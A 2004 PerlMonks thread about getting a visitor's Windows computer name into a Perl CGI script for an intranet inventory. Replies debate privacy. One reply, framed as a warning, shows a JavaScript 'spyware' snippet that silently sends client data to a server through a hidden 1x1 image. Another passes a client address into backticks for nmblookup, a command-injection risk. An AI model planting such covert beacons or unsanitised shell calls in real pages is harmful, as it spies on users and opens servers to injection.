krt6 has asked for the wisdom of the Perl Monks concerning the following question:

Monks,

I need to grab the computer name from a machine who views my CGI page. I can do this with javascript and vbscript in an html file. However I cannot (do not know how to) pull these into my Perl code. Here is the code that I have to get the computername:
Javascript:
<HTML> <HEAD> <TITLE>Getting User Information. </TITLE> <Script Language="Jscript"> var objNet = new ActiveXObject("WScript.Network"); var strInfo = objNet.ComputerName document.write(strInfo); </Script> </HEAD> </HTML>
Vbscript:
<html> <body> <script language="vbscript"> <!-- Set objNetwork = CreateObject("WScript.Network") document.write(objNetwork.computername) //--> </script> </body> </html>


I understand that CGI(Perl) is a server side language and VBscript and javascript are client side. Is there a way I can include these scripts in my CGI and assign the computername to a variable that Perl can recognize?

When I use:
foreach $key (sort(keys %ENV)) #displays the environment variables { print "$key = $ENV{$key}\n"; }

It only displays my AIX servers name and IP address for REMOTE_USER not the client machine that is viewing the page.

It would be greatly appreciated if someone could shed some light on my situation.

Thanks in advance,
Krt6

Edited by Chady -- added code tags.

Replies are listed 'Best First'.
Re: Using CGI (Perl) and javascript at the same time
by muba (Priest) on Apr 06, 2004 at 21:04 UTC
    Why would you want to do such a thing?

    I once had a discussion about JavaScript being evil or not. I thought it isn't. I also don't think knives are evil. One could do practical and useful things with them. One could also do bad things with it.

    Since I had that particular discussion, I've seen more and more bad uses for JavaScript (and JScript, of course). This is just one more. Why do you want to know the name of my computer? If I'd want you to know, I'd tell you.
    The kind of script you are trying to write here, is the kind of script that sets people up against a certain language. Well, you won't set me up against JavaScript, for I have seen its beauty. But more and more, I am thinking about disabling JS in my browser.

    Many of you will most probably disagree with this reply because you think I don't offer any help to krt6 and maybe because you think I'm a little too offensive. That's ok. But let me tell you that I helped krt6 and many others in my way. Not by showing him the path to the solution of his problem, but by disagreeing with any kind of unwanted "spyware". Yes, one could say it's possible to disable JavaScript and yes, one could say that *will* prevent this kind of spyware. But no, dear readers, not everyone knows his computer inside out and no, dear readers, not everyone knows how HTML works, how JavaScript works, how CGI works or even how exactly Internet works. Shouldn't we, the ones with knowledge, protect such people instead of just getting as much information as possible about them? It's not our right to abuse their ignorance.

    Thank you.

    --MUBA.

    Update: slightly altered the message.
      Thank you all for the quick responses.

      Let me provide a little bit more information:

      This is a cgi page on my company's intranet. Therefore, the only machines that will access this page will be inside our firewall. Computers on the outside will not play any role. I am running reports with Tivoli on the machines who visit this page. This will help our support team make sure that those machines are a part of our Tivoli infrastructure.

      This cgi page runs a report with Tivoli and does an inventory of a machine's software and submits it back to my AIX server. This page will also display the results. All of this is done by using the backticks to make a `UNIX` call, which is why I can't do this locally on the machine with a windows perl script. (hmmmmm, just thinking a little bit here--- Is it possible to have two perl scripts, one on the UNIX box and one on the Windows box and have the windows script submit its results to the UNIX script?)

      The command in Tivoli needs the machines name or ip address. I know how to get the page to work by creating a form and manually entering the computername into a textbox and submitting, but there are ethical issues on why I cnnot do this.
        You might try installing PerlScript (a VBScript and JScript-like client side language) on the client? Check ActiveState.
Re: Using CGI (Perl) and javascript at the same time
by arden (Curate) on Apr 06, 2004 at 18:13 UTC
    krt6, have your javascript assign the hostname value to a hidden FORM field, then either wait until the user submits the form requesting the next page from your CGI or have the javascript auto-submit the form.

    Then you just have to handle that field on the server side in your Perl script. Be sure to handle not getting any hostname if the user is going through anonymizer.com or has some other protection in place to prevent your javascript from running.

    - - arden.

Re: Using CGI (Perl) and javascript at the same time
by matija (Priest) on Apr 06, 2004 at 18:32 UTC
    Well, this is really a javascript problem, not a perl problem, and my impression is that your javascript skills are not very high. I apologize if I'm wrong and I tell you stuff you already know.

    • You could create a form, with an input fileld of type hidden, then you assign any value you want to that input field through a javascript reference like this.form[0].fieldname.
    • Once the user submits the form, your CGI script can read the value of that variable through CGI.pm's param method.
    • You could use javascript to put the machine's name into a cookie, then read the cookie when the machine makes another request.
    • You could create an invisible frame, and make a request, invisible to the user as soon as you know the machine's name
    Having said all that, you should realize that your vbscript method will only work if your client is a windows machine. And some users, particularly those hidden behind corporate firewalls might resent your attempts to snoop out their machine name.

    Are you sure making a reverse DNS lookup of their IP number wouldn't be good enough for you?

Re: Using CGI (Perl) and javascript at the same time
by blue_cowdawg (Monsignor) on Apr 06, 2004 at 19:31 UTC

        It only displays my AIX servers name and IP address for REMOTE_USER not the client machine that is viewing the page. It would be greatly appreciated if someone could shed some light on my situation.

    OK... let me get out my Acme® brand flashlight here. When I run a script that basically just dumps all the elements of the %ENV hash on my server here is a sanitized version of what I get back:

    DOCUMENT_ROOT /path/to/doc/root/www.mydomain.com GATEWAY_INTERFACE CGI/1.1 HTTP_ACCEPT text/xml,application/xml,application/xhtml+xml,text/ht +ml;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif; +q=0.2,*/*;q=0.1 HTTP_ACCEPT_CHARSET ISO-8859-1,utf-8;q=0.7,*;q=0.7 HTTP_ACCEPT_ENCODING gzip,deflate HTTP_ACCEPT_LANGUAGE en-us,en;q=0.5 HTTP_CONNECTION keep-alive HTTP_HOST www.mydomain.com HTTP_KEEP_ALIVE 300 HTTP_USER_AGENT Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4.2) +Gecko/20040301 PATH /usr/local/bin:/usr/bin:/bin QUERY_STRING REMOTE_ADDR 4.3.2.1 REMOTE_PORT 33161 REQUEST_METHOD GET REQUEST_URI /cgi-bin/fooCheck.pl SCRIPT_FILENAME /usr/web/www.berghold.net/cgi-bin/fooCheck.pl SCRIPT_NAME /cgi-bin/fooCheck.pl SERVER_ADDR 1.2.3.4 SERVER_ADMIN webmaster@mydomain.com SERVER_NAME www.mydomain.com SERVER_PORT 80 SERVER_PROTOCOL HTTP/1.1 SERVER_SOFTWARE Apache/1.3.29 (Unix) AuthMySQL/2.20 PHP/4.3.4 mod_ +perl/1.24 mod_ssl/2.8.16 OpenSSL/0.9.7c UNIQUE_ID QHMCUdiLkw8AAAVExU8

    A quick glance reveals a value for REMOTE_ADDR which when I check the NAT'ed address for my client what I see there matches what I know my NAT'ed IP address to be.

    AHA!

    There-in lies one of the problems a coder has in trying to capture IP addresses of browsers. If the browser client is behind a NAT'ing firewall then all you are going to collect is the NAT address. Most network admins that do NAT use a single address for multiple desktop clients and individual IP addresses only for machines they want visible to the outside world. My home network is one of those.

    If you are interested here is a subset of the code that generated that output:

    use CGI qw(:all); print header,start_html; env_test(); print end_html; exit(0); sub env_test { print h2('Base Account (shell) Environment'); print table( map { Tr(td($_),td($ENV{$_})) } sort keys %ENV ); print p(b('CGI Runs As:'),`id`); print p(b('Current working directory is:'),`pwd`); print p("I was invoked as: ",$0); if ($ENV{HOME}) { if (-d $ENV{HOME} . '/cgi-bin') { print p('Found the cgi-bin directory in ', $ENV{HOME} . "/cgi-bi +n"); } else { print p("I have no clue where the cgi-bin is physically"); } } else { print p(b('OH DRAT!'),'The $HOME variable is not being set!'); } }

Re: Using CGI (Perl) and javascript at the same time
by tachyon (Chancellor) on Apr 07, 2004 at 03:08 UTC

    It is easy to do. It is also quite possibly illegal, immoral or fattening. *IT IS SPYWARE* While I agree with MUBA that their is little community benefit in telling you how to do it, the practice is so rife that even the most rudimentary research will make you aware of it.

    This is presented as a warning on the evils of javascript.

    All you need is for the javascript/vbscript being executed on the client side to phone home. The spyware way to do this is using an IMG tag, although there are other possibilities. A browser will GET the src from the image tag. Without asking the urer. This is what browsers do. This SRC can point to a CGI on your server just as easily as it can point to a real image. You can add this image tag and src dynamically. Put the parts together and what have you got - spyware.

    <script> var wanted_data = .... var spyware_url = http://mydomain.com/cgi-bin/spyware.cgi?spyval=' + e +scape(wanted_data); document.write('<IMG src="' + spyware_url + '" width="1" height="1">') +; </script>

    Now when that HTML loads it will get your spyware value, add it to the url of your spyware cgi, then write an image tag into the current doc which will cause the browser to issue a get request to your spyware with the data added to the query string. Your Perl CGI spyware on the server side parses off the q string, and then delivers a single pixel transparent gif to the browser. The client is then unaware you are spying on them -> *until they view source* and the simple action of loading the page triggers the event.

    Personally I find the whole practice a nasty invasion of privacy and it's one of the reasons I don't let JS run unless I absolutely have to.

    cheers

    tachyon

Re: Using CGI (Perl) and javascript at the same time
by amw1 (Friar) on Apr 06, 2004 at 18:32 UTC
    REMOTE_HOST/REMOTE_ADDRESS aren't giving you the requesting machine? $ENV{REMOTE_ADDRESS} should be giving you what you want. $ENV{REMOTE_HOST} should contain the resolved DNS for REMOTE_ADDRESS if your webserver is setup to do reverse resolving. If it isn't being set Net::DNS or gethostbyaddr can get you the resolution manually.
Re: Using CGI (Perl) and javascript at the same time
by Anonymous Monk on Apr 06, 2004 at 18:59 UTC
    Remember any such solution depends on the remote user's cooperation: that is, having the right version of JScript (which is not quite the same as JavaScript) activated. Remember that they could fake the name if they wanted. Never trust the client!

    That said, another way of sending the information to your Perl script would be with a hidden image, whose URL would be something like "register_machine_name.cgi?name=whatever", where "whatever" is introduced by your client-side script.

Re: Using CGI (Perl) and javascript at the same time
by saintbrie (Scribe) on Apr 06, 2004 at 21:51 UTC
    This isn't really a javascript question, I think. I think this is a question about how to get the Windows File Sharing name of a client who is connecting to the website. The long and short of it is that you have to have http://samba.org (Samba File Sharing) or run the perl script on a windows machine with microsoft networking. There are perl modules that create an interface for you to samba (search cpan for a list). I think you'd have to do some kind of funky reverse lookup by IP address.
    # Environment variables aren't particularly safe. # Make sure you clean the address first $address = $ENV{REMOTE_ADDRESS}; $name = `nmblookup -A $address`; # parse $name for the information you actually want. # nmblookup returns a lot more information than just name
    If you don't have samba installed, you are probably out of luck. You could try a search for SMB networking for the server OS you are running. If you are running the script on a windows machine, you'll have to figure that command out for yourself. It probably has to do with 'net' or something...
      Net::NBName should work for you, without having to install Samba. It's a standalone NetBIOS Name lookup module. Also, the command to do a NetBIOS name lookup on Windows is nbtstat -A ip.ad.dr.ess. Hope this helps.
Re: Using CGI (Perl) and javascript at the same time
by krt6 (Novice) on Apr 06, 2004 at 18:16 UTC
    This is the vbscript code not sure where it went when I posted:
    <html> <body> <script language="vbscript"> <!-- Set objNetwork = CreateObject("WScript.Network") document.write(objNetwork.computername) //--> </script> </body> </html>

    jdporter - edited: added code tags

      The vbscript code is gone with the html comment markers <!-- ... -->. Use a code tag to avoid that.